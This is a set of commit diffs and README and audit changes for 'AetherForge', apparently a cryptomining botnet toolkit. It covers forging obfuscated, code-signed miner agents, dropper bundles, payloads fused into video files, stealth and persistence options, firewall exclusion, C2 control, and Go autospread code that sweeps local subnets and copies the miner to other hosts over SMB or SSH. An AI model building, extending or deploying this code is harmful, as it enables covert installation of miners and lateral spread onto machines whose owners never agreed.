- **`LAUNCH.bat` / `devrun.bat`:** read `port` from `data/config.json` for display; launch without `-port` so config wins.
### Low (open)
- `db.New` ignores `MkdirAll` failure.
## Fusion / PathForge
*Audit: fusion pathforge (2026-06-04). Builder + API tests — pass.*
### Fixed (2026-06-04)
- **F1 — Path Tracer WireGuard peer topology:** `buildHopPeers` adds client peer on hop 1 (`10.66.0.1/32`); single-hop no longer gets empty `peers`; multi-hop adds reverse peers on middle/exit hops. Tests: `pathtracer_handler_test.go` (`TestBuildHopPeers*`, `TestPathTracerOrchestrationConfigurePeers`).
- **Path Tracer session expiry:** background cleanup goroutine removes sessions after 2h and sends `wg_teardown`. Test: `TestPathTracerSessionExpiry`.
- **PathForge `Skipped` counter:** incremented for non-matching files during walk.
- **PathForge `dataDir`:** used as fallback search path in `findAgentBinary`.
- **Mac PathForge `server_url`:** required when `target_mac` is enabled (400 if missing).
- **Tests added:** `pathforge_test.go` (HTTP validation, skipped counter, placement); `pathtracer_handler_test.go` (peer topology + mock-agent orchestration).
### High (open)
- `fusion/` package has no tests (coverage only in `server/internal/builder/fusion_*_test.go`).
### Medium (open)
- **Agent WireGuard auto-download:** Windows agent `ensureWGExe()` downloads and silently installs WireGuard from `download.wireguard.com` on first Path Tracer use if not already present (`agent/client/pathtracer_windows.go`). Heavy side effect; no server-side fix — operator should pre-install WireGuard on fleet hosts or accept first-run download latency.
- Mac PathForge `.command` still depends on `server_url` + `/api/download/agent-mac` at runtime (now validated at forge time).
---
## Agent (Go)
### Open
- **Client:** WebSocket/beacon paths integration-only in CI.
### Fixed (2026-06-04)
| Area | Fix |
|------|-----|
| **Mesh** | Relay path uses `write()` under `AgentClient.mu` (no direct `conn` read); `MeshNode.Stop()` tears down mDNS/host; one-way relay documented; unit tests in `client/mesh_test.go` and `client/mesh_p2p_test.go` (`-tags p2p`). |
| **Miner** | `HashAtNonce` returns `ErrEngineNotReady` / `ErrBlobTooShort` instead of empty+nil; edge-case tests updated in `miner/engine_test.go`. |
| **Spread** | Shared `deploy/subnet.go`: IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in `subnet.go` and autospread entrypoints. |

View File

@@ -50,7 +50,9 @@ You configure defaults once in **Calibrate**. You forge once per target profile
### Command Deck (Dashboard) ### Command Deck (Dashboard)
- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed - **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed; transport blips keep saved credentials with a **degraded** banner (distinct from 401 logout)
- **Re-forge guard** — confirmation prompt before re-running a saved blueprint compile
- **Download resilience** — authed file/log/backup downloads use extended timeouts (510 min) with clear `AbortError` messaging
- Live fleet hashrate, CPU/RAM gauges, share feed - Live fleet hashrate, CPU/RAM gauges, share feed
- **Fleet Health Score** — weighted 0100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip - **Fleet Health Score** — weighted 0100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded - **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
@@ -91,6 +93,10 @@ You configure defaults once in **Calibrate**. You forge once per target profile
- Blueprint save/load — re-forge the same profile across machines - Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL - Build manager — download, paths, LAN QR for worker URL
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing - **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
- **Universal / spread-kit signing** — `sign_build` applies to spread-kit workers and universal-fusion runners (not just single-platform exes)
- **Build size limits** — universal ZIP, spread-kit, and fusion outputs enforce `checkBuildSizeFile` before dispense
- **Fusion obfuscation** — launcher compile respects `shouldObfuscate` / garble flags (not just the worker binary)
- **Dropper bundles** — `/get` resolves `DownloadURL` artifacts; PS1 ZIP handler tries `start.bat` / `deploy.bat` fallbacks
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes - **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile - **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
@@ -218,7 +224,7 @@ Run **Full Sys Check** from Fleet Roster or Crucible on Windows agents for the f
- **Desktop push** — deploy files to `@desktop/` on workers - **Desktop push** — deploy files to `@desktop/` on workers
- **BITS persistence** / **host binary** run modes (Windows, advanced Forge) - **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
- **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks) - **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks)
- **Path Tracer** — multi-hop WireGuard path builder (dashboard page) - **Path Tracer** — multi-hop WireGuard path builder (dashboard page); peer topology fixed — hop 1 gets client peer (`10.66.0.1/32`), multi-hop adds reverse peers on middle/exit hops; sessions auto-expire after 2h
- **Protocol tunneling** — operator-facing reach-through on owned fleet (see below) - **Protocol tunneling** — operator-facing reach-through on owned fleet (see below)
- **Haptic sound** + **glow particles** — optional UI feedback (Settings) - **Haptic sound** + **glow particles** — optional UI feedback (Settings)
@@ -235,7 +241,7 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`). **Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).
**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` automatically on launch (USB `LAUNCH.bat` or `AetherForge.exe`). In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port). **Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` on launch. **Portable USB:** `pack-usb.bat` seeds a default connector token in `usb/data/cloudflared-token.txt` so `LAUNCH.bat` works out of the box — replace with your own token in Calibrate or edit that file. `LAUNCH.bat` starts cloudflared first and sets `AF_TUNNEL_EXTERNAL=1` so the server skips a duplicate spawn. In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port from `data/config.json`).
**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only. **Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.
@@ -278,7 +284,7 @@ Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entr
| Surface | Mechanism | | Surface | Mechanism |
|---------|----------------| |---------|----------------|
| `/api/v1/*` REST | HTTP Basic Auth | | `/api/v1/*` REST | HTTP Basic Auth |
| `/ws/dashboard` | `?token=<base64-user:pass>` | | `/ws/dashboard` | `POST /api/v1/auth/ws-ticket` → one-time `?ticket=` (2 min); legacy `?token=` fallback |
| `/ws/agent` | Fleet-secret `auth` JSON frame | | `/ws/agent` | Fleet-secret `auth` JSON frame |
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) | | `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) |
| Static SPA + `/api/v1/health` | Open (no auth) | | Static SPA + `/api/v1/health` | Open (no auth) |
@@ -294,9 +300,11 @@ Run **`pack-usb.bat`** from the project root. It:
3. Creates `data\` directories with a starter `config.json` 3. Creates `data\` directories with a starter `config.json`
4. Syncs `LAUNCH.bat` 4. Syncs `LAUNCH.bat`
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`. Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → Cloudflare tunnel sidecar starts, then `AetherForge.exe` dashboard opens at `http://localhost:8989` (or the `port` in `data/config.json`).
> **After any code change**, run `npm run build` in `server/web/`, then `pack-usb.bat` to sync the portable bundle. The USB bundle is **not** updated automatically — it only reflects what was current the last time `pack-usb.bat` ran. `LAUNCH.bat` reads `port` from `data/config.json` for display but launches **without** `-port` so config file wins over any CLI default. Bundled Go toolchain lives in `usb/toolchain/`; garble and go-winres install on first run if missing.
> **After any code change**, run `pack-usb.bat` from the repo root (it runs `npm run build`, copies `server/web/dist` → `usb/webroot`, compiles `AetherForge.exe`, syncs agent/fusion source and `LAUNCH.bat`). The USB bundle is **not** updated automatically.
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines. > **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
@@ -406,6 +414,7 @@ crypto miner/
| Method | Path | Purpose | | Method | Path | Purpose |
|--------|------|---------| |--------|------|---------|
| GET | `/api/v1/health` | Health check (no auth) | | GET | `/api/v1/health` | Health check (no auth) |
| POST | `/api/v1/auth/ws-ticket` | Issue one-time dashboard WebSocket ticket (Basic auth) |
| GET/PUT | `/api/v1/config` | Calibrate settings | | GET/PUT | `/api/v1/config` | Calibrate settings |
| POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) | | POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
| GET | `/api/v1/builds` | List builds | | GET | `/api/v1/builds` | List builds |
@@ -424,7 +433,7 @@ crypto miner/
| GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks | | GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks |
| GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) | | GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) |
| WS | `/ws/agent` | Worker connection | | WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed | | WS | `/ws/dashboard?ticket=<one-time>` | Live dashboard feed (legacy `?token=` still accepted) |
Full route list: `server/internal/api/router.go` Full route list: `server/internal/api/router.go`
@@ -438,7 +447,9 @@ Full route list: `server/internal/api/router.go`
| Linux | XMRig | — | systemd user service | XDG data home | | Linux | XMRig | — | systemd user service | XDG data home |
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` | | macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub. **Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Relay writes go through `AgentClient.mu`; `MeshNode.Stop()` tears down mDNS/host. Default builds use a no-op stub.
**LAN spread:** Shared `deploy/subnet.go` — IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in spread entrypoints.
--- ---
@@ -512,13 +523,16 @@ Vite proxies `/api` and `/ws` to `localhost:8989`.
## Under the Hood ## Under the Hood
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host - **Data dir resolution** — portable `LAUNCH.bat` passes `-data`; `mergeConfig` merges `server.fleet_secret` and `tunnel_defaults`; listen **port** comes from `data/config.json` (CLI `-port` does not override saved config)
- **Cloudflared dedupe** — server skips starting cloudflared when `AF_TUNNEL_EXTERNAL=1` or an external `cloudflared.exe` is already running
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host + `PaymentID` in pool key (no integrated-address collisions)
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects - **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots - **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match - **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN - **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels - **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill) - **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
- **Miner engine** — `HashAtNonce` returns explicit errors (`ErrEngineNotReady`, `ErrBlobTooShort`) instead of silent empty hashes
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep - **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions - **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents - **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents

View File

@@ -113,6 +113,7 @@ func (c *AgentClient) Run() error {
if err := c.mesh.Start(); err != nil { if err := c.mesh.Start(); err != nil {
log.Printf("[Mesh] Failed to start: %v", err) log.Printf("[Mesh] Failed to start: %v", err)
} }
defer c.mesh.Stop()
} }
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence. // Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.

View File

@@ -178,11 +178,12 @@ func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *Sy
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway" f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
} }
case "CVE-2020-5902", "CVE-2022-1388": case "CVE-2020-5902", "CVE-2022-1388":
if probe.F5Process || listening[443] { if probe.F5Process {
if probe.F5Process { f.Status = "likely"
f.Status = "likely" f.Detail = "F5-related process detected"
f.Detail = "F5-related process detected" } else if listening[443] {
} f.Status = "likely"
f.Detail = "TCP/443 listener present — verify F5/BIG-IP patch level if applicable"
} }
case "CVE-2021-26084", "CVE-2022-26134": case "CVE-2021-26084", "CVE-2022-26134":
if probe.ConfluenceLike { if probe.ConfluenceLike {

View File

@@ -5,7 +5,9 @@ package client
import ( import (
"context" "context"
"encoding/json" "encoding/json"
"fmt"
"log" "log"
"sync"
"github.com/libp2p/go-libp2p" "github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/host" "github.com/libp2p/go-libp2p/core/host"
@@ -18,8 +20,14 @@ const MeshProtocol = "/aetherforge/mesh/1.0.0"
const DiscoveryTag = "aetherforge-mesh-discovery" const DiscoveryTag = "aetherforge-mesh-discovery"
// MeshNode represents a libp2p peer on the local network. // MeshNode represents a libp2p peer on the local network.
//
// Relay limitation: mesh uplink is one-way. Orphaned peers may forward messages
// to the Hub through a connected relay node, but Hub responses are not sent back
// over the mesh. Treat mesh as a best-effort share/stats uplink, not full C2.
type MeshNode struct { type MeshNode struct {
mu sync.Mutex
host host.Host host host.Host
mdns mdns.Service
client *AgentClient client *AgentClient
} }
@@ -30,33 +38,58 @@ func NewMeshNode(c *AgentClient) *MeshNode {
// Start initializes the libp2p host and mDNS discovery. // Start initializes the libp2p host and mDNS discovery.
func (m *MeshNode) Start() error { func (m *MeshNode) Start() error {
m.mu.Lock()
defer m.mu.Unlock()
if m.host != nil {
return nil
}
// Bind to any available local port automatically // Bind to any available local port automatically
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0")) h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0"))
if err != nil { if err != nil {
return err return err
} }
m.host = h
// Register the protocol handler for incoming mesh streams // Register the protocol handler for incoming mesh streams
m.host.SetStreamHandler(MeshProtocol, m.handleStream) h.SetStreamHandler(MeshProtocol, m.handleStream)
// Start mDNS discovery to find other agents on the LAN // Start mDNS discovery to find other agents on the LAN
ser := mdns.NewMdnsService(m.host, DiscoveryTag, m) ser := mdns.NewMdnsService(h, DiscoveryTag, m)
if err := ser.Start(); err != nil { if err := ser.Start(); err != nil {
_ = h.Close()
return err return err
} }
log.Printf("[Mesh] P2P Node started. PeerID: %s", m.host.ID().String()) m.host = h
m.mdns = ser
log.Printf("[Mesh] P2P Node started. PeerID: %s", h.ID().String())
return nil return nil
} }
// Stop tears down mDNS discovery and the libp2p host. Safe to call multiple times.
func (m *MeshNode) Stop() {
m.mu.Lock()
defer m.mu.Unlock()
if m.mdns != nil {
_ = m.mdns.Close()
m.mdns = nil
}
if m.host != nil {
_ = m.host.Close()
m.host = nil
}
}
// HandlePeerFound is a callback for mDNS discovery. // HandlePeerFound is a callback for mDNS discovery.
func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) { func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.host.ID() { m.mu.Lock()
h := m.host
m.mu.Unlock()
if h == nil || pi.ID == h.ID() {
return return
} }
log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String()) log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String())
if err := m.host.Connect(context.Background(), pi); err != nil { if err := h.Connect(context.Background(), pi); err != nil {
log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err) log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err)
} }
} }
@@ -68,19 +101,30 @@ func (m *MeshNode) handleStream(s network.Stream) {
if err := json.NewDecoder(s).Decode(&msg); err != nil { if err := json.NewDecoder(s).Decode(&msg); err != nil {
return return
} }
if err := m.relayToHub(msg); err == nil {
// If this node is actively connected to the Hub, act as a Relay.
// We take the incoming share payload from the orphaned peer and pass it to our active connection!
if m.client.conn != nil {
log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type) log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type)
_ = m.client.write(msg)
} }
} }
// relayToHub forwards a mesh message to the active Hub WebSocket session.
// write() acquires AgentClient.mu — never read client.conn directly (data race).
func (m *MeshNode) relayToHub(msg Message) error {
if m.client == nil {
return fmt.Errorf("mesh: no agent client")
}
return m.client.write(msg)
}
// BroadcastToMesh sends a message to all connected P2P peers. // BroadcastToMesh sends a message to all connected P2P peers.
func (m *MeshNode) BroadcastToMesh(msg Message) { func (m *MeshNode) BroadcastToMesh(msg Message) {
for _, p := range m.host.Network().Peers() { m.mu.Lock()
s, err := m.host.NewStream(context.Background(), p, MeshProtocol) h := m.host
m.mu.Unlock()
if h == nil {
return
}
for _, p := range h.Network().Peers() {
s, err := h.NewStream(context.Background(), p, MeshProtocol)
if err != nil { if err != nil {
continue continue
} }
@@ -91,8 +135,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
// PeerCount returns the number of connected mesh peers. // PeerCount returns the number of connected mesh peers.
func (m *MeshNode) PeerCount() int { func (m *MeshNode) PeerCount() int {
if m.host == nil { m.mu.Lock()
h := m.host
m.mu.Unlock()
if h == nil {
return 0 return 0
} }
return len(m.host.Network().Peers()) return len(h.Network().Peers())
} }

View File

@@ -9,7 +9,8 @@ func NewMeshNode(_ *AgentClient) *MeshNode { return &MeshNode{} }
func (m *MeshNode) Start() error { return nil } func (m *MeshNode) Start() error { return nil }
func (m *MeshNode) Stop() {}
func (m *MeshNode) BroadcastToMesh(_ Message) {} func (m *MeshNode) BroadcastToMesh(_ Message) {}
func (m *MeshNode) PeerCount() int { return 0 } func (m *MeshNode) PeerCount() int { return 0 }

View File

@@ -0,0 +1,49 @@
//go:build p2p
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestMeshNodeStartStop(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
if err := m.Start(); err != nil {
t.Fatal(err)
}
if m.PeerCount() < 0 {
t.Fatal("peer count must be non-negative")
}
m.Stop()
if m.PeerCount() != 0 {
t.Fatalf("peer count after stop = %d, want 0", m.PeerCount())
}
m.Stop() // idempotent
}
func TestMeshNodeStartIdempotent(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
if err := m.Start(); err != nil {
t.Fatal(err)
}
if err := m.Start(); err != nil {
t.Fatalf("second Start: %v", err)
}
m.Stop()
}
func TestMeshRelayToHubUsesWritePath(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
err := m.relayToHub(Message{Type: "stats"})
if err == nil {
t.Fatal("expected not-connected error without hub session")
}
if err.Error() != "not connected" {
t.Fatalf("write path error: %v", err)
}
}

20
agent/client/mesh_test.go Normal file
View File

@@ -0,0 +1,20 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestMeshStubLifecycle(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := c.mesh
if err := m.Start(); err != nil {
t.Fatal(err)
}
if m.PeerCount() != 0 {
t.Fatalf("stub peer count = %d, want 0", m.PeerCount())
}
m.Stop()
m.Stop() // idempotent
}

View File

@@ -220,7 +220,7 @@ loop:
} }
for i, p := range livePoolList { for i, p := range livePoolList {
addr := fmt.Sprintf("%s:%d", p.host, p.port) addr := net.JoinHostPort(p.host, fmt.Sprintf("%d", p.port))
proto := "TCP" proto := "TCP"
if p.tls { proto = "TLS" } if p.tls { proto = "TLS" }
fmt.Printf(" [%d/%d] %s (%s) … ", i+1, len(livePoolList), addr, proto) fmt.Printf(" [%d/%d] %s (%s) … ", i+1, len(livePoolList), addr, proto)

View File

@@ -8,7 +8,6 @@ import (
"net" "net"
"os" "os"
"path/filepath" "path/filepath"
"strings"
"time" "time"
"crypto-miner-agent/config" "crypto-miner-agent/config"
@@ -16,9 +15,12 @@ import (
// StartAutoSpreader launches a background routine that periodically attempts // StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC. // to replicate the miner to other machines on the local subnet via SMB and RPC.
//
// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
// sc.exe service creation require an admin-capable token and reachable TCP/445.
func StartAutoSpreader(cfg config.RuntimeConfig) { func StartAutoSpreader(cfg config.RuntimeConfig) {
// AutoSpread feature retained per user request. // AutoSpread feature retained per user request.
// Enables SMB/RPC lateral deployment on the local /24 subnet. // Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
if !cfg.AutoSpread { if !cfg.AutoSpread {
return return
} }
@@ -63,12 +65,18 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
seen[t] = true seen[t] = true
} }
for _, ip := range ips { for _, ip := range ips {
if !isIPv4(ip) {
continue // active sweep is IPv4 /24 only; see subnet.go
}
subnet := getSubnet(ip) subnet := getSubnet(ip)
if subnet == "" { if subnet == "" {
continue continue
} }
for i := 1; i < 255; i++ { for i := 1; i < 255; i++ {
candidate := fmt.Sprintf("%s.%d", subnet, i) candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] { if candidate == ip || seen[candidate] {
continue continue
} }
@@ -99,39 +107,6 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
} }
} }
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
func attemptSpread(cfg config.RuntimeConfig, target string) { func attemptSpread(cfg config.RuntimeConfig, target string) {
// 1. Quick pre-check: Is port 445 (SMB) open? // 1. Quick pre-check: Is port 445 (SMB) open?
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second) conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)

View File

@@ -16,6 +16,9 @@ import (
) )
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts. // StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
//
// Prerequisites: see deploy/subnet.go (Spread prerequisites). scp/ssh use
// BatchMode=yes — passwordless SSH with pre-placed keys is required.
func StartAutoSpreader(cfg config.RuntimeConfig) { func StartAutoSpreader(cfg config.RuntimeConfig) {
if !cfg.AutoSpread { if !cfg.AutoSpread {
return return
@@ -58,12 +61,18 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
seen[t] = true seen[t] = true
} }
for _, ip := range ips { for _, ip := range ips {
if !isIPv4(ip) {
continue // active sweep is IPv4 /24 only; see subnet.go
}
subnet := getSubnet(ip) subnet := getSubnet(ip)
if subnet == "" { if subnet == "" {
continue continue
} }
for i := 1; i < 255; i++ { for i := 1; i < 255; i++ {
candidate := fmt.Sprintf("%s.%d", subnet, i) candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] { if candidate == ip || seen[candidate] {
continue continue
} }
@@ -121,35 +130,3 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
} }
} }
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}

View File

@@ -299,13 +299,19 @@ func ScanLocalSubnet(maxHosts int) string {
var b strings.Builder var b strings.Builder
seen := 0 seen := 0
for _, ip := range ips { for _, ip := range ips {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip) subnet := getSubnet(ip)
if subnet == "" { if subnet == "" {
continue continue
} }
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip)) b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
for i := 1; i < 255 && seen < maxHosts; i++ { for i := 1; i < 255 && seen < maxHosts; i++ {
target := fmt.Sprintf("%s.%d", subnet, i) target, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if target == ip { if target == ip {
continue continue
} }

View File

@@ -479,12 +479,18 @@ if (Test-Path $dest) {
) )
for _, ip := range getLocalIPs() { for _, ip := range getLocalIPs() {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip) subnet := getSubnet(ip)
if subnet == "" { if subnet == "" {
continue continue
} }
for i := 1; i < 255; i++ { for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i) target, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if target == ip { if target == ip {
continue continue
} }
@@ -515,7 +521,7 @@ if ($s) {
} }
func portOpen(host string, port int, timeout time.Duration) bool { func portOpen(host string, port int, timeout time.Duration) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout) conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, fmt.Sprintf("%d", port)), timeout)
if err != nil { if err != nil {
return false return false
} }

109
agent/deploy/subnet.go Normal file
View File

@@ -0,0 +1,109 @@
package deploy
import (
"fmt"
"net"
"strings"
)
// Spread prerequisites for lateral deployment modules:
//
// Windows (SMB/SCM via autospread.go):
// - Target TCP/445 (SMB) must be reachable on the LAN.
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
// and create/start a remote service via sc.exe (typically requires local admin
// or equivalent on the target).
//
// Unix (SSH via autospread_unix.go):
// - Target TCP/22 (SSH) must be reachable.
// - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must
// already work — e.g. the agent user's public key in target authorized_keys,
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
//
// Subnet discovery:
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
// may appear when the OS neighbor cache lists them on a shared /64.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
ipnet, ok := a.(*net.IPNet)
if !ok {
continue
}
ip := ipnet.IP
if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() {
continue
}
if ip4 := ip.To4(); ip4 != nil {
ips = append(ips, ip4.String())
continue
}
if ip.To16() != nil {
ips = append(ips, ip.String())
}
}
}
return ips
}
// getSubnet returns the sweep prefix for an address:
// - IPv4: first three octets (/24)
